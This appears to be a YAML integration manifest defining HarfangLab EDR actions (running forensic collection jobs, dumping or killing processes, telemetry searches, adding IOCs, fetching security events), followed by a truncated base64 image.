type: string - - name: verify_certificate - description: Certificate verification - required: true - example: 'true' - options: - - false - - true - schema: - type: string - - name: http_proxy - description: HTTP proxy - required: false - example: 'http://my-proxy:3128' - schema: - type: string - - name: https_proxy - description: HTTPS proxy - required: false - example: 'http://my-proxy:3128' - schema: - type: string - - name: agent_id - description: EDR agent identifier - required: true - multiline: false - example: 'xyzawxkjnsdkfjnsdf' - schema: - type: string - returns: - schema: - type: string - - name: run_job - description: Run a job - parameters: - - name: base_url - description: HarfangLab EDR Manager's URL - required: true - multiline: false - example: 'https://hurukai:8443/' - schema: - type: string - - name: api_key - description: HarfangLab EDR's API Key - required: true - multiline: false - example: 'xyzawxkjnsdkfjnsdf' - schema: - type: string - - name: verify_certificate - description: Certificate verification - required: true - example: 'true' - options: - - false - - true - schema: - type: string - - name: http_proxy - description: HTTP proxy - required: false - example: 'http://my-proxy:3128' - schema: - type: string - - name: https_proxy - description: HTTPS proxy - required: false - example: 'http://my-proxy:3128' - schema: - type: string - - name: job_name - description: HarfangLab EDR's job name - required: true - multiline: false - example: 'getProcesses' - options: - - getProcesses - - getServices - - getPipes - - getDrivers - - getPrefetches - - getScheduledTasks - - getRunKeys - - getStartupFiles - - getPersistence - - getWMI - - getNetworkShares - - getSessions - - getArtifactMFT - - getArtifactHives - - getArtifactEvtx - - getArtifactLogs - - getArtifactFilesystem - - getArtifactUSN - - getArtifactPrefetch - - getArtifactAll - - getArtifactRamdump - schema: - type: string - - name: agent_id - description: EDR agent identifier - required: true - multiline: false - example: 'xyzawxkjnsdkfjnsdf' - schema: - type: string - - name: job_title - description: Job title - required: false - multiline: false - example: 'Job title' - schema: - type: string - - name: job_description - description: Job description - required: false - multiline: true - example: 'Job description' - schema: - type: string - - name: job_timeout - description: Job timeout (in seconds) - required: false - multiline: false - example: '600' - schema: - type: string - returns: - schema: - type: string - - - name: dump_process - description: Dump a process' memory - parameters: - - name: base_url - description: HarfangLab EDR Manager's URL - required: true - multiline: false - example: 'https://hurukai:8443/' - schema: - type: string - - name: api_key - description: HarfangLab EDR's API Key - required: true - multiline: false - example: 'xyzawxkjnsdkfjnsdf' - schema: - type: string - - name: verify_certificate - description: Certificate verification - required: true - example: 'true' - options: - - false - - true - schema: - type: string - - name: http_proxy - description: HTTP proxy - required: false - example: 'http://my-proxy:3128' - schema: - type: string - - name: https_proxy - description: HTTPS proxy - required: false - example: 'http://my-proxy:3128' - schema: - type: string - - name: agent_id - description: EDR agent identifier - required: true - multiline: false - example: 'xyzawxkjnsdkfjnsdf' - schema: - type: string - - name: process_uuid - description: Process unique identifier - required: true - multiline: false - example: '' - schema: - type: string - - name: job_timeout - description: Job timeout (in seconds) - required: false - multiline: false - example: '600' - schema: - type: string - returns: - schema: - type: string - - - name: kill_process - description: Kill a process - parameters: - - name: base_url - description: HarfangLab EDR Manager's URL - required: true - multiline: false - example: 'https://hurukai:8443/' - schema: - type: string - - name: api_key - description: HarfangLab EDR's API Key - required: true - multiline: false - example: 'xyzawxkjnsdkfjnsdf' - schema: - type: string - - name: verify_certificate - description: Certificate verification - required: true - example: 'true' - options: - - false - - true - schema: - type: string - - name: http_proxy - description: HTTP proxy - required: false - example: 'http://my-proxy:3128' - schema: - type: string - - name: https_proxy - description: HTTPS proxy - required: false - example: 'http://my-proxy:3128' - schema: - type: string - - name: agent_id - description: EDR agent identifier - required: true - multiline: false - example: 'xyzawxkjnsdkfjnsdf' - schema: - type: string - - name: process_uuid - description: Process unique identifier - required: true - multiline: false - example: '' - schema: - type: string - - name: job_timeout - description: Job timeout (in seconds) - required: false - multiline: false - example: '600' - schema: - type: string - returns: - schema: - type: string - - - name: telemetry_search_hash - description: Search a hash in HarfangLab EDR's telemetry - parameters: - - name: base_url - description: HarfangLab EDR Manager's URL - required: true - multiline: false - example: 'https://hurukai:8443/' - schema: - type: string - - name: api_key - description: HarfangLab EDR's API Key - required: true - multiline: false - example: 'xyzawxkjnsdkfjnsdf' - schema: - type: string - - name: verify_certificate - description: Certificate verification - required: true - example: 'true' - options: - - false - - true - schema: - type: string - - name: http_proxy - description: HTTP proxy - required: false - example: 'http://my-proxy:3128' - schema: - type: string - - name: https_proxy - description: HTTPS proxy - required: false - example: 'http://my-proxy:3128' - schema: - type: string - - name: hash - description: File hash - required: true - multiline: false - example: '' - schema: - type: string - - name: process_name - description: Process name - required: false - multiline: false - example: '' - schema: - type: string - - name: image_name - description: Image name - required: false - multiline: false - example: '' - schema: - type: string - - name: limit - description: Maximum number of items to collect from telemetry searches - required: false - multiline: false - example: '10' - schema: - type: string - - returns: - schema: - type: string - - - name: telemetry_search_driver_by_hash - description: Search a driver load in HarfangLab EDR's telemetry per hash - parameters: - - name: base_url - description: HarfangLab EDR Manager's URL - required: true - multiline: false - example: 'https://hurukai:8443/' - schema: - type: string - - name: api_key - description: HarfangLab EDR's API Key - required: true - multiline: false - example: 'xyzawxkjnsdkfjnsdf' - schema: - type: string - - name: verify_certificate - description: Certificate verification - required: true - example: 'true' - options: - - false - - true - schema: - type: string - - name: http_proxy - description: HTTP proxy - required: false - example: 'http://my-proxy:3128' - schema: - type: string - - name: https_proxy - description: HTTPS proxy - required: false - example: 'http://my-proxy:3128' - schema: - type: string - - name: hash - description: File hash - required: true - multiline: false - example: '' - schema: - type: string - - name: limit - description: Maximum number of items to collect from telemetry searches - required: false - multiline: false - example: '10' - schema: - type: string - returns: - schema: - type: string - - - name: telemetry_search_driver_by_filename - description: Search a driver load in HarfangLab EDR's telemetry per filename - parameters: - - name: base_url - description: HarfangLab EDR Manager's URL - required: true - multiline: false - example: 'https://hurukai:8443/' - schema: - type: string - - name: api_key - description: HarfangLab EDR's API Key - required: true - multiline: false - example: 'xyzawxkjnsdkfjnsdf' - schema: - type: string - - name: verify_certificate - description: Certificate verification - required: true - example: 'true' - options: - - false - - true - schema: - type: string - - name: http_proxy - description: HTTP proxy - required: false - example: 'http://my-proxy:3128' - schema: - type: string - - name: https_proxy - description: HTTPS proxy - required: false - example: 'http://my-proxy:3128' - schema: - type: string - - name: filename - description: File name - required: true - multiline: false - example: '' - schema: - type: string - - name: limit - description: Maximum number of items to collect from telemetry searches - required: false - multiline: false - example: '10' - schema: - type: string - returns: - schema: - type: string - - - name: telemetry_search_destination_ip - description: Search an IP as a destination in HarfangLab EDR's telemetry - parameters: - - name: base_url - description: HarfangLab EDR Manager's URL - required: true - multiline: false - example: 'https://hurukai:8443/' - schema: - type: string - - name: api_key - description: HarfangLab EDR's API Key - required: true - multiline: false - example: 'xyzawxkjnsdkfjnsdf' - schema: - type: string - - name: verify_certificate - description: Certificate verification - required: true - example: 'true' - options: - - false - - true - schema: - type: string - - name: http_proxy - description: HTTP proxy - required: false - example: 'http://my-proxy:3128' - schema: - type: string - - name: https_proxy - description: HTTPS proxy - required: false - example: 'http://my-proxy:3128' - schema: - type: string - - name: ip - description: IP address to search - required: true - multiline: false - example: '' - schema: - type: string - - name: limit - description: Maximum number of items to collect from telemetry searches - required: false - multiline: false - example: '10' - schema: - type: string - returns: - schema: - type: string - - - name: telemetry_search_source_ip - description: Search an IP as a source in HarfangLab EDR's telemetry - parameters: - - name: base_url - description: HarfangLab EDR Manager's URL - required: true - multiline: false - example: 'https://hurukai:8443/' - schema: - type: string - - name: api_key - description: HarfangLab EDR's API Key - required: true - multiline: false - example: 'xyzawxkjnsdkfjnsdf' - schema: - type: string - - name: verify_certificate - description: Certificate verification - required: true - example: 'true' - options: - - false - - true - schema: - type: string - - name: http_proxy - description: HTTP proxy - required: false - example: 'http://my-proxy:3128' - schema: - type: string - - name: https_proxy - description: HTTPS proxy - required: false - example: 'http://my-proxy:3128' - schema: - type: string - - name: ip - description: IP address to search - required: true - multiline: false - example: '' - schema: - type: string - - name: limit - description: Maximum number of items to collect from telemetry searches - required: false - multiline: false - example: '10' - schema: - type: string - returns: - schema: - type: string - - - name: telemetry_get_binary - description: Get binary information and download link - parameters: - - name: base_url - description: HarfangLab EDR Manager's URL - required: true - multiline: false - example: 'https://hurukai:8443/' - schema: - type: string - - name: api_key - description: HarfangLab EDR's API Key - required: true - multiline: false - example: 'xyzawxkjnsdkfjnsdf' - schema: - type: string - - name: verify_certificate - description: Certificate verification - required: true - example: 'true' - options: - - false - - true - schema: - type: string - - name: http_proxy - description: HTTP proxy - required: false - example: 'http://my-proxy:3128' - schema: - type: string - - name: https_proxy - description: HTTPS proxy - required: false - example: 'http://my-proxy:3128' - schema: - type: string - - name: hash - description: File hash - required: true - multiline: false - example: '' - schema: - type: string - returns: - schema: - type: string - - - name: add_ioc_to_source - description: Add an IOC to a Threat Intelligence source - parameters: - - name: base_url - description: HarfangLab EDR Manager's URL - required: true - multiline: false - example: 'https://hurukai:8443/' - schema: - type: string - - name: api_key - description: HarfangLab EDR's API Key - required: true - multiline: false - example: 'xyzawxkjnsdkfjnsdf' - schema: - type: string - - name: verify_certificate - description: Certificate verification - required: true - example: 'true' - options: - - false - - true - schema: - type: string - - name: http_proxy - description: HTTP proxy - required: false - example: 'http://my-proxy:3128' - schema: - type: string - - name: https_proxy - description: HTTPS proxy - required: false - example: 'http://my-proxy:3128' - schema: - type: string - - name: ioc_type - description: IOC type - required: true - multiline: false - example: '' - options: - - ip_src - - ip_dst - - ip_both - - hash - - filename - - filepath - schema: - type: string - - name: ioc_value - description: IOC value - required: true - multiline: false - example: '1.1.1.1, 1.1.1.1|80, 0123456789ABCDEF, filename.docx' - schema: - type: string - - name: ioc_comment - description: IOC comment - required: false - multiline: false - example: '' - schema: - type: string - - name: ioc_status - description: Image name - required: false - multiline: false - example: '' - options: - - stable - - testing - schema: - type: string - - name: source_name - description: Threat Intelligence source name - required: true - multiline: false - example: '' - schema: - type: string - returns: - schema: - type: string - - - name: change_security_event_status - description: Change the status of a security event - parameters: - - name: base_url - description: HarfangLab EDR Manager's URL - required: true - multiline: false - example: 'https://hurukai:8443/' - schema: - type: string - - name: api_key - description: HarfangLab EDR's API Key - required: true - multiline: false - example: 'xyzawxkjnsdkfjnsdf' - schema: - type: string - - name: verify_certificate - description: Certificate verification - required: true - example: 'true' - options: - - false - - true - schema: - type: string - - name: http_proxy - description: HTTP proxy - required: false - example: 'http://my-proxy:3128' - schema: - type: string - - name: https_proxy - description: HTTPS proxy - required: false - example: 'http://my-proxy:3128' - schema: - type: string - - name: event_id - description: HarfangLab event id - required: true - multiline: false - example: 'xyzawxkjnsdkfjnsdf' - schema: - type: string - - name: status - description: Event status - required: true - multiline: false - example: 'new' - options: - - New - - Investigating - - False Positive - - Closed - schema: - type: string - returns: - schema: - type: string - - - name: fetch_incidents - description: Fetches security events from the EDR Manager - parameters: - - name: base_url - description: HarfangLab EDR Manager's URL - required: true - multiline: false - example: 'https://hurukai:8443/' - schema: - type: string - - name: api_key - description: HarfangLab EDR's API Key - required: true - multiline: false - example: 'xyzawxkjnsdkfjnsdf' - schema: - type: string - - name: verify_certificate - description: Certificate verification - required: true - example: 'true' - options: - - false - - true - schema: - type: string - - name: http_proxy - description: HTTP proxy - required: false - example: 'http://my-proxy:3128' - schema: - type: string - - name: https_proxy - description: HTTPS proxy - required: false - example: 'http://my-proxy:3128' - schema: - type: string - - name: first_fetch - description: Start fetching alerts whose creation date is higher than now minus days. - required: false - multiline: false - example: '10' - schema: - type: string - - name: alert_status - description: Alert status - required: false - multiline: false - example: 'ACTIVE' - options: - - ALL - - ACTIVE - - CLOSED - schema: - type: string - - name: alert_type - description: Comma-separated list of types of alerts to fetch (sigma, yara, hlai, vt, ransom, ioc, glimps, orion...). - required: false - multiline: false - example: 'sigma,yara,hlai,ioc,ransom' - schema: - type: string - - name: min_severity - description: Minimum severity of alerts to fetch - required: false - multiline: false - example: 'High' - options: - - Informational - - Low - - Medium - - High - - Critical - schema: - type: string - - name: max_fetch - description: Maximum number of alerts to fetch - required: false - multiline: false - example: '10' - schema: - type: string - - name: only_new_alerts - description: Fetches only never fetched alerts - required: false - multiline: false - example: 'true' - options: - - false - - true - schema: - type: string - - name: delay - description: Number of seconds back in the past for the upper limit of security event timestamps (keep a value of minimum 120 secondes) - required: true - multiline: false - example: 'true' - schema: - type: string - - name: exclude_rules - description: Do not take these rule names into account - required: false - multiline: true - example: 'Windows Defender has taken action from malware' - schema: - type: string - - returns: - schema: - type: string - -large_image: data:image/jpg;base64,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